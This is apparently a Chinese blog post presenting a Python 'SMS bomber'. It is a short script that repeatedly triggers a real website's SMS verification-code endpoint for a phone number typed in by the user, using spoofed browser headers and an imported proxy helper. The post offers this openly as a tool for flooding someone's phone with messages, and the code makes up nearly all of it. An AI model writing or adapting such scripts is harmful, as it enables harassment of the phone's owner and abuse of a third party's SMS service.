Python之短信轰炸机

短信轰炸的简单实现过程:利用网站短信验证码的短信发送,实现的短信消息提醒,简单的进行轰炸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from daili import information_sun
import re
import json
import requests
import time
#短信的内容信息
class SMSsend(object):
def __init__(self,mobile):
self.url="https://login.ceconline.com/thirdPartLogin.do"
self.headers={
'Referer': 'https://login.ceconline.com/login.do',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'
}
self.mobile=mobile
def get_response(self):
time_now=int(time.time()*1000)
data={
"mobileNumber":self.mobile,
"method":"getDynamicCode",
"verifyType":"MOBILE_NUM_REG",
"captcharType":"",
"time":str(time_now)
}
try:
html=requests.post(self.url,headers=self.headers,data=data)
print("发送成功")
except:
print("发送失败")
modal=input("请输入手机号:")
sms=SMSsend(modal)
sms.get_response()
Fork me on GitHub